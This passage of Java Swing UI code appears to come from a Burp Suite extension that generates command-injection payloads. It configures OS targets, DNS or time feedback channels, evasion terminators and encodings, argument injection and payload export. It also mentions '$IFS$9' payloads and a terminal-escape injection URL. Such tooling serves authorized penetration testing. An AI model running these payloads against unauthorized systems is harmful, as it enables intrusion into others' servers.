.addGroup(jPanel2Layout.createSequentialGroup()\n                .addContainerGap()\n                .addComponent(useTerminatorsCheckBox, javax.swing.GroupLayout.PREFERRED_SIZE, 37, javax.swing.GroupLayout.PREFERRED_SIZE)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addComponent(includeThePooComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 25, javax.swing.GroupLayout.PREFERRED_SIZE)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addComponent(osSpecificTerminators)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addComponent(useNullByte)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)\n                .addComponent(jLabel8, javax.swing.GroupLayout.PREFERRED_SIZE, 21, javax.swing.GroupLayout.PREFERRED_SIZE)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addComponent(jScrollPane3, javax.swing.GroupLayout.PREFERRED_SIZE, 104, javax.swing.GroupLayout.PREFERRED_SIZE)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addComponent(removeTerminatorButton)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)\n                .addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)\n                    .addComponent(addTerminatorButton)\n                    .addComponent(addTerminatorField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addComponent(jLabel13)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)\n                    .addComponent(terminatorASCIIFormat)\n                    .addComponent(terminatorHexFormat))\n                .addContainerGap(323, Short.MAX_VALUE))\n            .addGroup(jPanel2Layout.createSequentialGroup()\n                .addComponent(jLabel9, javax.swing.GroupLayout.PREFERRED_SIZE, 36, javax.swing.GroupLayout.PREFERRED_SIZE)\n                .addGap(13, 13, 13)\n                .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 87, javax.swing.GroupLayout.PREFERRED_SIZE)\n                .addGap(18, 18, 18)\n                .addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)\n                    .addComponent(encodingsToUse, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)\n                    .addComponent(removeEncoding)\n                    .addComponent(jButton4))\n                .addGap(26, 26, 26)\n                .addComponent(includeLiteralWhites, javax.swing.GroupLayout.PREFERRED_SIZE, 37, javax.swing.GroupLayout.PREFERRED_SIZE)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addComponent(smart400Avoidance)\n                .addGap(0, 0, Short.MAX_VALUE))\n        );\n\n        jTabbedPane1.addTab(\"Evasive techniques\", jPanel2);\n\n        jLabel2.setText(\"Instead of feeding the tools, save the result payload set:\");\n\n        saveToFileButton.setText(\"To file\");\n        saveToFileButton.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                saveToFileButtonActionPerformed(evt);\n            }\n        });\n\n        saveToClipBoardButton.setText(\"To clipboard\");\n        saveToClipBoardButton.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                saveToClipBoardButtonActionPerformed(evt);\n            }\n        });\n\n        javax.swing.GroupLayout jPanel3Layout = new javax.swing.GroupLayout(jPanel3);\n        jPanel3.setLayout(jPanel3Layout);\n        jPanel3Layout.setHorizontalGroup(\n            jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n            .addGroup(jPanel3Layout.createSequentialGroup()\n                .addContainerGap()\n                .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n                    .addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, 932, javax.swing.GroupLayout.PREFERRED_SIZE)\n                    .addGroup(jPanel3Layout.createSequentialGroup()\n                        .addComponent(saveToFileButton, javax.swing.GroupLayout.PREFERRED_SIZE, 213, javax.swing.GroupLayout.PREFERRED_SIZE)\n                        .addGap(31, 31, 31)\n                        .addComponent(saveToClipBoardButton, javax.swing.GroupLayout.PREFERRED_SIZE, 213, javax.swing.GroupLayout.PREFERRED_SIZE)))\n                .addContainerGap(914, Short.MAX_VALUE))\n        );\n        jPanel3Layout.setVerticalGroup(\n            jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n            .addGroup(jPanel3Layout.createSequentialGroup()\n                .addGap(21, 21, 21)\n                .addComponent(jLabel2)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)\n                .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)\n                    .addComponent(saveToFileButton, javax.swing.GroupLayout.PREFERRED_SIZE, 41, javax.swing.GroupLayout.PREFERRED_SIZE)\n                    .addComponent(saveToClipBoardButton, javax.swing.GroupLayout.PREFERRED_SIZE, 41, javax.swing.GroupLayout.PREFERRED_SIZE))\n                .addContainerGap(655, Short.MAX_VALUE))\n        );\n\n        jTabbedPane1.addTab(\"Save the payloads\", jPanel3);\n\n        verboseOutputCheckBox.setText(\"Verbose extension output\");\n        verboseOutputCheckBox.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                verboseOutputCheckBoxActionPerformed(evt);\n            }\n        });\n\n        checkForInteractions.setText(\"Check for new collaborator interactions now\");\n        checkForInteractions.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                checkForInteractionsActionPerformed(evt);\n            }\n        });\n\n        flushTheTrackerButton.setText(\"Reset collaborator session tracker (only if you know what you are doing)\");\n        flushTheTrackerButton.setToolTipText(\"\");\n        flushTheTrackerButton.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                flushTheTrackerButtonActionPerformed(evt);\n            }\n        });\n\n        javax.swing.GroupLayout advancedPanelLayout = new javax.swing.GroupLayout(advancedPanel);\n        advancedPanel.setLayout(advancedPanelLayout);\n        advancedPanelLayout.setHorizontalGroup(\n            advancedPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n            .addGroup(advancedPanelLayout.createSequentialGroup()\n                .addGroup(advancedPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)\n                    .addGroup(javax.swing.GroupLayout.Alignment.LEADING, advancedPanelLayout.createSequentialGroup()\n                        .addContainerGap()\n                        .addComponent(checkForInteractions, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))\n                    .addGroup(javax.swing.GroupLayout.Alignment.LEADING, advancedPanelLayout.createSequentialGroup()\n                        .addGap(20, 20, 20)\n                        .addComponent(verboseOutputCheckBox, javax.swing.GroupLayout.PREFERRED_SIZE, 935, javax.swing.GroupLayout.PREFERRED_SIZE))\n                    .addGroup(javax.swing.GroupLayout.Alignment.LEADING, advancedPanelLayout.createSequentialGroup()\n                        .addContainerGap()\n                        .addComponent(flushTheTrackerButton, javax.swing.GroupLayout.DEFAULT_SIZE, 1013, Short.MAX_VALUE)))\n                .addContainerGap(833, Short.MAX_VALUE))\n        );\n        advancedPanelLayout.setVerticalGroup(\n            advancedPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n            .addGroup(advancedPanelLayout.createSequentialGroup()\n                .addGap(28, 28, 28)\n                .addComponent(verboseOutputCheckBox)\n                .addGap(18, 18, 18)\n                .addComponent(checkForInteractions, javax.swing.GroupLayout.PREFERRED_SIZE, 67, javax.swing.GroupLayout.PREFERRED_SIZE)\n                .addGap(18, 18, 18)\n                .addComponent(flushTheTrackerButton, javax.swing.GroupLayout.PREFERRED_SIZE, 66, javax.swing.GroupLayout.PREFERRED_SIZE)\n                .addContainerGap(528, Short.MAX_VALUE))\n        );\n\n        jTabbedPane1.addTab(\"Advanced\", advancedPanel);\n\n        jLabel1.setText(\"Byte range\");\n\n        byteGeneratorRangeCombo.setModel(new javax.swing.DefaultComboBoxModel<>(new String[] { \"Non-numeric\", \"Alphanumeric\", \"Non-alphanumeric printable\", \"Non-alphanumeric non-printable\", \"Non-alphanumeric non-printable <128\", \"All\" }));\n        byteGeneratorRangeCombo.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                byteGeneratorRangeComboActionPerformed(evt);\n            }\n        });\n\n        javax.swing.GroupLayout jPanel4Layout = new javax.swing.GroupLayout(jPanel4);\n        jPanel4.setLayout(jPanel4Layout);\n        jPanel4Layout.setHorizontalGroup(\n            jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n            .addGroup(jPanel4Layout.createSequentialGroup()\n                .addContainerGap()\n                .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 209, javax.swing.GroupLayout.PREFERRED_SIZE)\n                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)\n                .addComponent(byteGeneratorRangeCombo, javax.swing.GroupLayout.PREFERRED_SIZE, 751, javax.swing.GroupLayout.PREFERRED_SIZE)\n                .addContainerGap(874, Short.MAX_VALUE))\n        );\n        jPanel4Layout.setVerticalGroup(\n            jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n            .addGroup(jPanel4Layout.createSequentialGroup()\n                .addContainerGap()\n                .addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)\n                    .addComponent(byteGeneratorRangeCombo, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)\n                    .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 43, javax.swing.GroupLayout.PREFERRED_SIZE))\n                .addContainerGap(695, Short.MAX_VALUE))\n        );\n\n        jTabbedPane1.addTab(\"Byte generator\", jPanel4);\n\n        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this);\n        this.setLayout(layout);\n        layout.setHorizontalGroup(\n            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n            .addComponent(jTabbedPane1)\n        );\n        layout.setVerticalGroup(\n            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)\n            .addComponent(jTabbedPane1, javax.swing.GroupLayout.Alignment.TRAILING)\n        );\n    }// </editor-fold>//GEN-END:initComponents\n\n    private void jButton4ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton4ActionPerformed\n        \n        initiateEncodings();\n    }//GEN-LAST:event_jButton4ActionPerformed\n\n    private void targetOSComboActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_targetOSComboActionPerformed\n        // TODO add your handling code here:\n        switch(targetOSCombo.getSelectedIndex())\n        { \n            case 0 : { this.targetOS=\"all\"; break;}\n            case 1 : { this.targetOS=\"win\"; break;}\n            case 2 : { this.targetOS=\"nix\"; break;}\n        }     \n    }//GEN-LAST:event_targetOSComboActionPerformed\n\n    private void feedbackChannelComboActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_feedbackChannelComboActionPerformed\n       \n        delayTimeSpinner.setEnabled(false);\n        switch(feedbackChannelCombo.getSelectedIndex())\n        { \n            case 0 : { this.feedbackChannel=\"DNS\"; break;}\n            case 1 : { this.feedbackChannel=\"time\"; delayTimeSpinner.setEnabled(true); break;}  \n            // case 2 : { this.feedbackChannel=\"filesystem\"; break; } //\n            // there also SHOULD be the 'echo' feedback channel supported\n            // case 3 : { this.feedbackChannel=\"echo\"; break; } // no asynchronous payload tracking\n        }\n    }//GEN-LAST:event_feedbackChannelComboActionPerformed\n    private void updatePayloadMarkingHolder()\n    {\n        String dot=\"\";\n        if(this.feedbackChannel==\"DNS\")\n        {\n            dot=\".\";\n        }\n        if(payloadMarkingBox.isSelected()) \n        {//checkbox has been selected\n            if(!this.argumentField.getText().contains(\"PAYLOAD_MARK\"))\n            {\n                this.argumentField.setText(\"PAYLOAD_MARK\"+dot+argumentField.getText()); \n            }                \n        } \n        else\n        {\n            if(this.argumentField.getText().contains(\"PAYLOAD_MARK\"))\n            {\n                this.argumentField.setText(argumentField.getText().replace(\"PAYLOAD_MARK\"+dot,\"\"));\n            }\n        }        \n    }\n    private void payloadMarkingBoxActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_payloadMarkingBoxActionPerformed\n       updatePayloadMarkingHolder();\n    }//GEN-LAST:event_payloadMarkingBoxActionPerformed\n\n    private void scannerChecksBoxActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_scannerChecksBoxActionPerformed\n        // TODO add your handling code here:\n        if(scannerChecksBox.isSelected())\n        {\n            scannerChecks=true;\n        }\n        else\n        {\n            scannerChecks=false;\n        }\n    }//GEN-LAST:event_scannerChecksBoxActionPerformed\n\n    private void removeEncodingActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_removeEncodingActionPerformed\n       \n        if(encodeList.getSelectedIndex()!=-1) removeFromListData(encodeList,(String)encodeList.getModel().getElementAt(encodeList.getSelectedIndex()));                                \n        if(encodeList.getModel().getSize()==0) this.initiateEncodings();\n    }//GEN-LAST:event_removeEncodingActionPerformed\n\n    private void encodingsToUseActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_encodingsToUseActionPerformed\n        \n        switch(encodingsToUse.getSelectedIndex())\n        { \n            case 0 : { \n                this.initiateEncodings(); break;\n            }\n            case 1 : { String n[]={\"URL\"}; appendListData(encodeList,n); break;}\n            case 2 : { String n[]={\"Double URL\"}; appendListData(encodeList,n);  break;}\n        }\n    }//GEN-LAST:event_encodingsToUseActionPerformed\n\n    private void byteGeneratorRangeComboActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_byteGeneratorRangeComboActionPerformed\n        // TODO add your handling code here:\n        switch (byteGeneratorRangeCombo.getSelectedIndex()) \n        {\n            case 0:\n            {\n                this.byteGeneratorRange = \"non-alpha\";\n                break;\n            }\n            case 1:\n            {\n                this.byteGeneratorRange = \"alpha\";           \n                break;\n            }\n            case 2:\n            {\n                this.byteGeneratorRange = \"non-alpha-print\";\n                break;\n            }\n            case 3:\n            {\n                this.byteGeneratorRange = \"non-alpha-non-print\";\n                break;\n            }\n            case 4:\n            {\n                this.byteGeneratorRange = \"non-alpha-non-print-low\";\n                break;\n            }\n            case 5:\n            {\n                this.byteGeneratorRange = \"all\";\n                break;\n            }\n        }\n    }//GEN-LAST:event_byteGeneratorRangeComboActionPerformed\n\n    // this method simply runs a new payload generator, runs it and fills this.payloads with its results\n    // used by save to file/copy to clipboard features\n    protected void generatePayloads()\n    {\n        // now, for some reason this instance creation hangs burp\n        IntruderPayloadGenerator generator = new IntruderPayloadGenerator(\"cmd\", SHELLING.ShellingTab, \"export\", null, \"<export>\");               \n       // this.lastGenerator  = generator; // \n        payloads = new ArrayList();                \n        while(generator.hasMorePayloads())\n        {\n            byte[] empty={};\n            byte[] payload = generator.getNextPayload(empty); \n            // there is no insertion point for this option; the insertion point is the file/clipboard\n            // hence the argument is empty, but could be the file name as well                  \n            if(payload.length==1) \n            { //payload generation failed, move onto next command\n\t\tlogOutput(\"Payload generation failed!\");\t\t\t                        \n            }                                        \n            payloads.add(SHELLING.callbacks.getHelpers().bytesToString(payload));\n            // bytesToString                    \n        }\n        //jTabbedPane1.setTitleAt(5,\"Save \"+payloads.size()+\" payloads\");\n    }    \n    \n    private void saveToFileButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_saveToFileButtonActionPerformed\n        // TODO add your handling code here:\n                // save payloads to file\n        JFileChooser fileChooser = new JFileChooser();\n                     \n        if (fileChooser.showSaveDialog(this) == JFileChooser.APPROVE_OPTION) \n        {\n            // new generator\n            File file = fileChooser.getSelectedFile();\n            logOutput(\"File chosen:\"+file.getAbsolutePath());   \n            \n            this.generatePayloads();            \n\n            logOutput(\"Generated \"+payloads.size()+\" payloads, saving...\"); \n           \n            BufferedWriter writer = null;\n            try\n            {\n                writer = new BufferedWriter( new FileWriter(file.getAbsolutePath()));\n                for(int i=0;i<payloads.size();i++)\n                {\n                    writer.write(payloads.get(i)+\"\\n\"); // payloads with literals like newline characters will break this format, obviously (no such payloads in the set by default)\n                }\n            }\n            catch (IOException e)\n            {\n                this.logOutput(\"IOException occurred while trying to open the file: \"+file.getAbsolutePath());\n            }\n            finally\n            {\n                try\n                {\n                    if ( writer != null)\n                    writer.close( );\n                }\n                catch ( IOException e)\n                {\n                    this.logOutput(\"IOException occurred while writing to the file: \"+file.getAbsolutePath());\n                }\n            }           \n        }\n    }//GEN-LAST:event_saveToFileButtonActionPerformed\n\n    private void saveToClipBoardButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_saveToClipBoardButtonActionPerformed\n        // TODO add your handling code here:\n        if(this.useTerminatorsCheckBox.isSelected()==true&&this.includeLiteralWhites.isSelected()==true)\n        {\n            JOptionPane.showMessageDialog(null, \"Literal NULLBYTE terminators are enabled and this will most likely break the contents copied into the clipboard. To avoid this issue, save into a file instead or disable NULLBYTE terminators in evasive techniques.\", \"Payload set contains NULL bytes\", JOptionPane.INFORMATION_MESSAGE);            \n        }\n        \n        this.generatePayloads();\n       \n        \n        String clipboardS=\"\";\n        for(int i=0;i<payloads.size();i++)\n        {\n            clipboardS+=payloads.get(i)+\"\\n\"; // payloads with literals like newline characters will break this format, obviously (no such payloads in the set by default)\n        };\n        \n        StringSelection selection;\n        selection = new StringSelection(clipboardS);\n                \n        Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();\n        clipboard.setContents(selection, selection);\n    }//GEN-LAST:event_saveToClipBoardButtonActionPerformed\n\n    private void useTerminatorsCheckBoxActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_useTerminatorsCheckBoxActionPerformed\n        // TODO add your handling code here:\n        if(useTerminatorsCheckBox.isSelected())\n        {            \n            includeThePooComboBox.setEnabled(true);\n            osSpecificTerminators.setEnabled(true);            \n            terminatorList.setEnabled(true);\n            removeTerminatorButton.setEnabled(true);\n            addTerminatorButton.setEnabled(true);\n            addTerminatorField.setEnabled(true);\n            terminatorASCIIFormat.setEnabled(true);\n            terminatorHexFormat.setEnabled(true);\n            useNullByte.setEnabled(true);\n            \n        }\n        else\n        {\n            includeThePooComboBox.setEnabled(false);\n            osSpecificTerminators.setEnabled(false);\n            terminatorList.setEnabled(false);\n            removeTerminatorButton.setEnabled(false);\n            addTerminatorButton.setEnabled(false);\n            addTerminatorField.setEnabled(false);\n            terminatorASCIIFormat.setEnabled(false);\n            terminatorHexFormat.setEnabled(false);            \n            useNullByte.setEnabled(false);\n        }\n    }//GEN-LAST:event_useTerminatorsCheckBoxActionPerformed\n\n    private void keyReleased(java.awt.event.KeyEvent evt) {//GEN-FIRST:event_keyReleased\n        // TODO add your handling code here:\n        if(argumentField.getText().matches(\"^\\\\d+.*$\")&&this.mode==\"manual\")\n        {\n            JOptionPane.showMessageDialog(argumentField,\"WARNING: It is NOT recommended to use arguments starting with numbers for nix targets (this WILL make all $IFS$9 payloads FAIL)!\");\n        }\n    }//GEN-LAST:event_keyReleased\n\n    public boolean containsBaddies(byte[] payload)\n    {\n        for(int l=0;l<payload.length;l++)\n        { \n            if(payload[l]==(byte)0x00||payload[l]==(byte)0x09||payload[l]==(byte)0x0a||payload[l]==(byte)0x20||payload[l]==(byte)0x1a||payload[l]==(byte)0x0b)\n            {\n                return true;\n            }\n        }\n        return false;\n    }\n    private void argInjectionCheckBoxActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_argInjectionCheckBoxActionPerformed\n        // TODO add your handling code here:\n        if(argInjectionCheckBox.isSelected())\n        {\n            bruteArgInjections.setEnabled(true);\n            fixedArguments.setEnabled(true);      \n           // doOnlyArgumentInjection.setEnabled(true);  \n            injectAdditionalArguments.setEnabled(true);\n            injectHTTPCheckBox.setEnabled(true);\n            injectSmbCheckBox.setEnabled(true);\n            injectFileCheckBox.setEnabled(true);\n            injectUncCheckBox.setEnabled(true);\n            //maliciousCommandArgument.setEnabled(true);                        \n            \n            if(this.fixedArguments.isSelected())\n            {\n                //injectCSwitchCheckBox.setEnabled(true);\n                uncPathsCheckBox.setEnabled(true);            \n                //hijackOutputNixCheckBox.setEnabled(true);\n                //oOutputFlagHijackCheckBox.setEnabled(true);\n                //findExecInjectCheckBox.setEnabled(true);    \n            }\n            if(this.bruteArgInjections.isSelected())\n            {\n                // enable the radio buttons \n                // and the text box\n                defaultArgBruteRange.setEnabled(true);                \n                if(defaultArgBruteRange.isSelected()==false)\n                {\n                     customCharacterRange.setEnabled(true);\n                }\n                else\n                {\n                     customCharacterRange.setEnabled(false);\n                }                              \n                customArgBruteRange.setEnabled(true);\n            }\n            else\n            {\n                defaultArgBruteRange.setEnabled(false);\n                customCharacterRange.setEnabled(false);\n                customArgBruteRange.setEnabled(false);\n            }\n        }\n        else\n        {\n            bruteArgInjections.setEnabled(false);\n            fixedArguments.setEnabled(false);\n            fixedArguments.setEnabled(false);            \n            //doOnlyArgumentInjection.setEnabled(false);\n            injectAdditionalArguments.setEnabled(false);\n            injectHTTPCheckBox.setEnabled(false);\n            injectSmbCheckBox.setEnabled(false);\n            injectFileCheckBox.setEnabled(false);\n            injectUncCheckBox.setEnabled(false);\n            \n            //injectCSwitchCheckBox.setEnabled(false);\n            uncPathsCheckBox.setEnabled(false);            \n            //hijackOutputNixCheckBox.setEnabled(false);\n            //oOutputFlagHijackCheckBox.setEnabled(false);\n            //findExecInjectCheckBox.setEnabled(false);    \n            \n            defaultArgBruteRange.setEnabled(false);\n            customCharacterRange.setEnabled(false);\n            customArgBruteRange.setEnabled(false);\n            \n            //maliciousCommandArgument.setEnabled(false);\n        }        \n    }//GEN-LAST:event_argInjectionCheckBoxActionPerformed\n\n    private void manualModeCheckBoxActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_manualModeCheckBoxActionPerformed\n        // TODO add your handling code here:\n        if(manualModeCheckBox.isSelected())\n        {            \n            this.disableAuto();\n        }\n        else\n        {\n            this.enableAuto();\n        }        \n    }//GEN-LAST:event_manualModeCheckBoxActionPerformed\n\n    private void verboseOutputCheckBoxActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_verboseOutputCheckBoxActionPerformed\n        // TODO add your handling code here:\n        if(verboseOutputCheckBox.isSelected())\n        {\n            this.verboseOutput=true;\n            logOutput(\"Verbose mode enabled.\");\n        }\n        else\n        {\n            this.verboseOutput=false;\n            logOutput(\"Verbose mode disabled.\");\n        }\n    }//GEN-LAST:event_verboseOutputCheckBoxActionPerformed\n\n    private void stopAllRunningScansActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_stopAllRunningScansActionPerformed\n        // TODO add your handling code here:\n        \n    }//GEN-LAST:event_stopAllRunningScansActionPerformed\n\n    private void flushTheTrackerButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_flushTheTrackerButtonActionPerformed\n        // TODO add your handling code here:\n        if(this.collabSessions.size()>0)\n        {\n            this.collabSessions.get(0).count=0;\n        }\n        this.collabSessions.clear();         \n        this.flushThetracker();\n        logOutput(\"Flushed all the collaborator sessions. All the tracking information of any collaborator sessions and payloads has been lost.\");\n    }//GEN-LAST:event_flushTheTrackerButtonActionPerformed\n\n    private void checkForInteractionsActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_checkForInteractionsActionPerformed\n        // TODO add your handling code here:\n        this.checkCollabInteractions(true);\n    }//GEN-LAST:event_checkForInteractionsActionPerformed\n\n    private void fixedArgumentsActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_fixedArgumentsActionPerformed\n        // TODO add your handling code here:\n        if(fixedArguments.isSelected())\n        {\n            //injectCSwitchCheckBox.setEnabled(true);\n            uncPathsCheckBox.setEnabled(true);            \n            //hijackOutputNixCheckBox.setEnabled(true);\n            //oOutputFlagHijackCheckBox.setEnabled(true);\n            //findExecInjectCheckBox.setEnabled(true);\n            //maliciousCommandArgument.setEnabled(true);\n        }\n        else\n        {\n            //injectCSwitchCheckBox.setEnabled(false);\n            uncPathsCheckBox.setEnabled(false);            \n            //hijackOutputNixCheckBox.setEnabled(false);\n            //oOutputFlagHijackCheckBox.setEnabled(false);\n            //findExecInjectCheckBox.setEnabled(false);            \n            //maliciousCommandArgument.setEnabled(false);\n        }\n    }//GEN-LAST:event_fixedArgumentsActionPerformed\n    private void argInjectArgumentsUI()\n    {\n        if(bruteArgInjections.isSelected()==false&&this.injectAdditionalArguments.isSelected()==false)\n        {\n            injectHTTPCheckBox.setEnabled(false);\n            injectSmbCheckBox.setEnabled(false);\n            injectFileCheckBox.setEnabled(false);\n            injectUncCheckBox.setEnabled(false);\n           // maliciousCommandArgument.setEnabled(false);\n        }\n        if(bruteArgInjections.isSelected()==true||this.injectAdditionalArguments.isSelected()==true)\n        {\n            injectHTTPCheckBox.setEnabled(true);\n            injectSmbCheckBox.setEnabled(true);\n            injectFileCheckBox.setEnabled(true);\n            injectUncCheckBox.setEnabled(true);\n           // maliciousCommandArgument.setEnabled(true);\n        }\n        if(bruteArgInjections.isSelected()==true)\n        {\n             customArgBruteRange.setEnabled(true);        \n             defaultArgBruteRange.setEnabled(true);\n             if(defaultArgBruteRange.isSelected()==false)\n             {\n                 customCharacterRange.setEnabled(true);\n             }\n             else\n             {\n                 customCharacterRange.setEnabled(false);\n             }\n             \n        }\n        else\n        {\n             customArgBruteRange.setEnabled(false);        \n             defaultArgBruteRange.setEnabled(false);\n             customCharacterRange.setEnabled(false);            \n        }\n    }\n    private void injectAdditionalArgumentsActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_injectAdditionalArgumentsActionPerformed\n        // TODO add your handling code here:\n        this.argInjectArgumentsUI();\n    }//GEN-LAST:event_injectAdditionalArgumentsActionPerformed\n\n    private void bruteArgInjectionsActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_bruteArgInjectionsActionPerformed\n        // TODO add your handling code here:\n        this.argInjectArgumentsUI();\n    }//GEN-LAST:event_bruteArgInjectionsActionPerformed\n\n    private void injectHTTPCheckBoxActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_injectHTTPCheckBoxActionPerformed\n        // TODO add your handling code here:        \n        \n    }//GEN-LAST:event_injectHTTPCheckBoxActionPerformed\n\n    private void customArgBruteRangeActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_customArgBruteRangeActionPerformed\n        // TODO add your handling code here:\n        if(customArgBruteRange.isSelected()==true)\n        {\n            defaultArgBruteRange.setSelected(false);\n            customCharacterRange.setEnabled(true);\n        }\n        else\n        {\n            defaultArgBruteRange.setSelected(true);\n            customCharacterRange.setEnabled(false);\n        }\n    }//GEN-LAST:event_customArgBruteRangeActionPerformed\n\n    private void defaultArgBruteRangeActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_defaultArgBruteRangeActionPerformed\n        // TODO add your handling code here:\n         if(defaultArgBruteRange.isSelected()==true)\n        {\n            customArgBruteRange.setSelected(false);            \n            customCharacterRange.setEnabled(false);\n        }\n        else\n        {\n            customArgBruteRange.setSelected(true);\n            customCharacterRange.setEnabled(true);\n        }\n    }//GEN-LAST:event_defaultArgBruteRangeActionPerformed\n\n    private void doTerminalInjectionActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_doTerminalInjectionActionPerformed\n        // TODO add your handling code here:\n        /// http://www.example.com/%1b%5d%32%3b%6f%72%6e%65%65%07%0a\n        if(doTerminalInjection.isSelected())\n        {\n            //onlyDoTerminalInjection.setEnabled(true);\n        }\n        else\n        {\n            //onlyDoTerminalInjection.setEnabled(false);\n        }       \n    }//GEN-LAST:event_doTerminalInjectionActionPerformed\n\n    private void doCommandInjectionActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_doCommandInjectionActionPerformed\n        // TODO add your handling code here:\n        if(doCommandInjection.isSelected()==true)\n        {\n            this.basePayloadCheckBox.setEnabled(true);\n            this.secondBasePayloadCheckBox.setEnabled(true);\n            this.thirdBasePayloadCheckBox.setEnabled(true);\n            this.fourthBasePayloadCheckBox.setEnabled(true);\n            this.fifthBasePayloadCheckBox.setEnabled(true);\n            this.sixthBasePayloadCheckBox.setEnabled(true);\n            this.seventhBasePayloadCheckBox.setEnabled(true);\n            this.eightBasePayloadCheckBox.setEnabled(true);\n        }\n        else\n        {\n            this.basePayloadCheckBox.setEnabled(false);\n            this.secondBasePayloadCheckBox.setEnabled(false);\n            this.thirdBasePayloadCheckBox.setEnabled(false);\n            this.fourthBasePayloadCheckBox.setEnabled(false);\n            this.fifthBasePayloadCheckBox.setEnabled(false);\n            this.sixthBasePayloadCheckBox.setEnabled(false);\n            this.seventhBasePayloadCheckBox.setEnabled(false);\n            this.eightBasePayloadCheckBox.setEnabled(false);\n        }\n    }//GEN-LAST:event_doCommandInjectionActionPerformed\n\n    private void removeTerminatorButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_removeTerminatorButtonActionPerformed\n        // TODO add your handling code here:\n       